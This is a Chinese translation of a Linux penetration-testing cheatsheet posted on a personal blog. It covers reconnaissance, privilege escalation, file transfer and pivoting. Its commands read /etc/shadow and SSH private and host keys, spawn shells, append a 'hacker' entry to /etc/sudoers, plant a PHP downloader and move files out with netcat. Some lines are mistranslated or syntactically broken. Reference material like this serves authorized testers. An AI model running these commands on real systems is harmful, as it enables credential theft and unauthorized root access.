Linux Notes

发表于 2019-10-11 | 更新于 2019-11-15 | 主机安全

字数总计: 1k | 阅读时长≈: 5 分钟 | ℃: 78

0x00 前言

本文是翻译文章：记录在渗透测试过程中，经常会使用的Linux命令。

原文地址：https://m0chan.github.io/2018/07/31/Linux-Notes-And-Cheatsheet.html

0x01 列举

1.1 基本命令

```code
whoami
hostname
uname -a
cat /etc/password
cat /etc/shadow
groups
ifconfig
netstat -an
ps aux | grep root
uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts
```

1.2 侦察

```bash
秘密的扫毛系统开放的端口
```

```

# SYN洪泛扫描
nmap -sS INSERTIPADDRESS

# 全端口扫描
nmap INSERTIPADDRESS -p-

# 服务版本，默认脚本，操作系统探测
nmap INSERTIPADDRESS -sV -sC -O -p 111,222,333

#UDP扫描
nmap INSERTIPADDRESS -sU

# 使用UDP的方式连接开放的端口
nc -u INSERTIPADDRESS 48772
```

1.3 UDP扫描

code

```
./udpprotocolscanner <ip>
```

1.4 FTP枚举

code

```
nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp
```

1.5 启动Web服务器

code

```
python -m SimpleHTTPServer 80
```

0x02 利用

libSSH身份验证绕过-CVE-2018-10933

code

```
https://github.com/blacknbunny/libSSH-Authentication-Bypass

Use nc <ip> 22 to banner grab the SSH Service, if it's running vulnerable version of libSSH then you c
```

0x03 特权提升

3.1 基本命令

code

```
cat /proc/version <- Check for kernel exploits
ps auxww
ps -ef
lsof -i
netstat -laputen
arp -e
route
cat /sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
cat /etc/issue
cat /etc/*-release
cat /proc/version
uname -a
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
lsb_release -a
```

3.2 运行pspy64

code

```
#https://github.com/DominicBreuker/pspy

Run in background and watch for any processes running
```

3.3 生成TTY

code

```
#https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

python -c 'import pty; pty.spawn("/bin/sh")'
```

```
echo os.system('/bin/bash')
awk 'BEGIN {system("/bin/sh")}'
find / -name blahblah 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
irb(main:001:0> exec "/bin/sh"
Can also use socat
```

3.4 枚举脚本

code

```
cd /EscalationServer/
chmod u+x linux_enum.sh
chmod 700 linuxenum.py

./linux_enum.sh
python linuxenum.py
```

3.5 将用户添加到Sudoers

code

```
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers
```

3.6 列出CronJobs

code

```
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

3.7 检查SSH可读SSH密钥的持久性和提升

code

```
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
```

3.8 启动脚本

code

```
find / -perm -o+w -type f 2>/dev/null | grep -v '/proc\|/dev'
```

3.9 查找用户或组的可写文件

code

```
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul
```

3.10 查找用户或组的可写目录

code

```
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null
```

3.11 嗅探流量

code

```
tcpdump -i eth0 <protocol>
tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and dst not 192.168.1.X
tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X
```

3.12 用户安装的软件（有时配置错误）

code

```
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
```

0x04 exploit

4.1 获得权限

code

```
/sbin/getcap -r / 2>/dev/null
```

4.2 获取SUID二进制文件

code

```
find / -perm -u=s -type f 2>/dev/null
```

4.3 检查Sudo配置

code

```
sudo -l
```

0x05 文件传输

5.1 base64

code

```
cat file.transfer | base64 -w 0
echo base64blob | base64 -d > file.transfer
```

5.2 curl

code

```
curl http://webserver/file.txt > output.txt
```

5.3 wget

code

```
wget http://webserver/file.txt > output.txt
```

5.4 FTP

code

```
pip install pyftpdlib
python -m pyftpdlib -p 21 -w
```

5.5 TFTP

code

```
service atftpd start
atftpd --daemon --port 69 /tftp
/etc/init.d/atftpd restart
auxiliary/server/tftp
```

5.6 NC Listeners

code

```
nc -lvnp 443 < filetotransfer.txt
nc <ip> 443 > filetransfer.txt
```

5.7 PHP File Transfers

code

```
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```

5.8 SCP

code

```
# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination
```

0x06 横向渗透

6.1 SSH本地端口转发

code

```
ssh <user>@<target> -L 127.0.0.1:8888:<targetip>:<targetport>
```

6.2 SSH动态端口转发

code

```
ssh -D <localport> user@host
nano /etc/proxychains.conf
127.0.0.1 <localport>
```

6.3 索卡特港口前进

code

```
./socat tcp-listen:5000,reuseaddr,fork tcp:<target ip>:5001
```

文章作者: madcoding

文章链接: https://www.mad-coding.cn/2019/10/11/Linux Notes/

版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 madcoding's blog!

Linux笔记

打赏

评论

NickName E-Mail Website(http://)

Please leave your footprints

Submit

No comment yet.

Powered By Valine
v1.4.14

驱动 Hexo | 主题 Butterfly

Hi，welcome to madcoding's blog

皖ICP备17023740号